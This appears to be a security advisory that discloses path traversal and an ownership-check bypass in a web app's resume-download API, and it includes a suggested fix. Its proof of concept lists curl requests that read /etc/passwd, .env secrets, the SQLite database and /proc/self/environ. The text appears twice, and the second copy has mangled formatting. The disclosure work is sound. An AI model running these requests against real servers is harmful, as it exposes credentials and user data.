Summary
The resume download API (/api/profile/resume) contains three compounding vulnerabilities that together allow any authenticated user to read arbitrary files from the server filesystem and download any other user's resumes without authorization.
Affected File
src/app/api/profile/resume/route.ts (GET handler)
Vulnerabilities
1. Path Traversal (CWE-22) — CVSS 8.6 (High)
The filePath query parameter is read from user input and passed directly to fs.readFileSync() without any path validation or sandboxing:
const filePath = searchParams.get("filePath");
// ...
const fullFilePath = path.join(filePath); // ← NO-OP (see below)
if (!fs.existsSync(fullFilePath)) { ... }
// ...
const fileContent = fs.readFileSync(fullFilePath); // ← arbitrary file read
2. path.join() No-Op (CWE-22)
The intended path sandboxing is broken:
const fullFilePath = path.join(filePath);
path.join() with a single argument is an identity function — it returns the input unchanged. The correct usage would be path.join(UPLOAD_DIR, filePath) with a known safe base directory, followed by a check that the resolved path is still within that directory.
3. Missing Ownership Check — IDOR (CWE-639)
The handler extracts userId from the session but never uses it:
const userId = session?.user?.id; // extracted...
// ...but never referenced in any query or check
Any authenticated user can download any other user's resume by supplying its file path.
Proof of Concept
# Read server's /etc/passwd (any authenticated user)
curl -b "session_cookie=..." "http://<host>:3737/api/profile/resume?filePath=/etc/passwd"
# Read .env file (exposes ENCRYPTION_KEY, AUTH_SECRET, API keys)
curl -b "session_cookie=..." "http://<host>:3737/api/profile/resume?filePath=../../.env"
# Read the entire SQLite database
curl -b "session_cookie=..." "http://<host>:3737/api/profile/resume?filePath=../../prisma/dev.db"
# Read Node.js process environment variables
curl -b "session_cookie=..." "http://<host>:3737/api/profile/resume?filePath=/proc/self/environ"
Note: There is a file extension check that blocks non-PDF/DOC files with a 400, but the IDOR (downloading other users' .pdf/.docx resumes) works unrestricted.
Impact
| Asset Exposed |
Via |
.env file |
ENCRYPTION_KEY (decrypt all stored API keys), AUTH_SECRET (forge session tokens), database URL |
SQLite database (prisma/dev.db) |
All user data: jobs, resumes, notes, hashed passwords, encrypted API keys |
| Other users' resumes |
IDOR: any authenticated user can download any resume without ownership check |
/proc/self/environ |
All runtime environment variables including secrets |
| Server files |
Any file readable by the Node.js process UID |
Chained impact: Reading .env exposes ENCRYPTION_KEY. Combined with the hardcoded PBKDF2 salt in encryption.ts, the attacker can decrypt every stored API key (OpenAI, DeepSeek, RapidAPI) — turning a file read into third-party API key theft.
Why This Matters Even for Self-Hosted Apps
- SQLite is a single file. Unlike PostgreSQL which requires separate network credentials, path traversal to
prisma/dev.db yields the entire database in one request.
- Shared household deployments. Multiple family members tracking job searches — any user can read all resumes, salary data, and cover letters from every other user.
- Credential chaining.
.env → ENCRYPTION_KEY → decrypt all API keys → financial damage from unauthorized API usage.
- Container environments. In Docker,
/proc/1/environ exposes container orchestration secrets. Volume mounts may expose host filesystem paths.
Severity
- CVSS 3.1:
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N = 8.6 (High)
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory
- CWE-639: Authorization Bypass Through User-Controlled Key
Suggested Fix
import path from "path";
import { UPLOAD_DIR } from "@/lib/constants"; // define a safe base directory
// 1. Resolve and sandbox the path
const resolvedPath = path.resolve(UPLOAD_DIR, filePath);
if (!resolvedPath.startsWith(path.resolve(UPLOAD_DIR))) {
return NextResponse.json({ error: "Invalid file path" }, { status: 400 });
}
// 2. Add ownership check
const resume = await prisma.resume.findFirst({
where: { filePath: filePath, profile: { userId: userId } },
});
if (!resume) {
return NextResponse.json({ error: "File not found" }, { status: 404 });
}
References
Summary
The resume download API (
/api/profile/resume) contains three compounding vulnerabilities that together allow any authenticated user to read arbitrary files from the server filesystem and download any other user's resumes without authorization.Affected File
src/app/api/profile/resume/route.ts(GET handler)Vulnerabilities
1. Path Traversal (CWE-22) — CVSS 8.6 (High)
The
filePathquery parameter is read from user input and passed directly tofs.readFileSync()without any path validation or sandboxing:2.
path.join()No-Op (CWE-22)The intended path sandboxing is broken:
path.join()with a single argument is an identity function — it returns the input unchanged. The correct usage would bepath.join(UPLOAD_DIR, filePath)with a known safe base directory, followed by a check that the resolved path is still within that directory.3. Missing Ownership Check — IDOR (CWE-639)
The handler extracts
userIdfrom the session but never uses it:Any authenticated user can download any other user's resume by supplying its file path.
Proof of Concept
Note: There is a file extension check that blocks non-PDF/DOC files with a 400, but the IDOR (downloading other users'
.pdf/.docxresumes) works unrestricted.Impact
.envfileENCRYPTION_KEY(decrypt all stored API keys),AUTH_SECRET(forge session tokens), database URLprisma/dev.db)/proc/self/environChained impact: Reading
.envexposesENCRYPTION_KEY. Combined with the hardcoded PBKDF2 salt inencryption.ts, the attacker can decrypt every stored API key (OpenAI, DeepSeek, RapidAPI) — turning a file read into third-party API key theft.Why This Matters Even for Self-Hosted Apps
prisma/dev.dbyields the entire database in one request..env→ENCRYPTION_KEY→ decrypt all API keys → financial damage from unauthorized API usage./proc/1/environexposes container orchestration secrets. Volume mounts may expose host filesystem paths.Severity
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N= 8.6 (High)Suggested Fix
References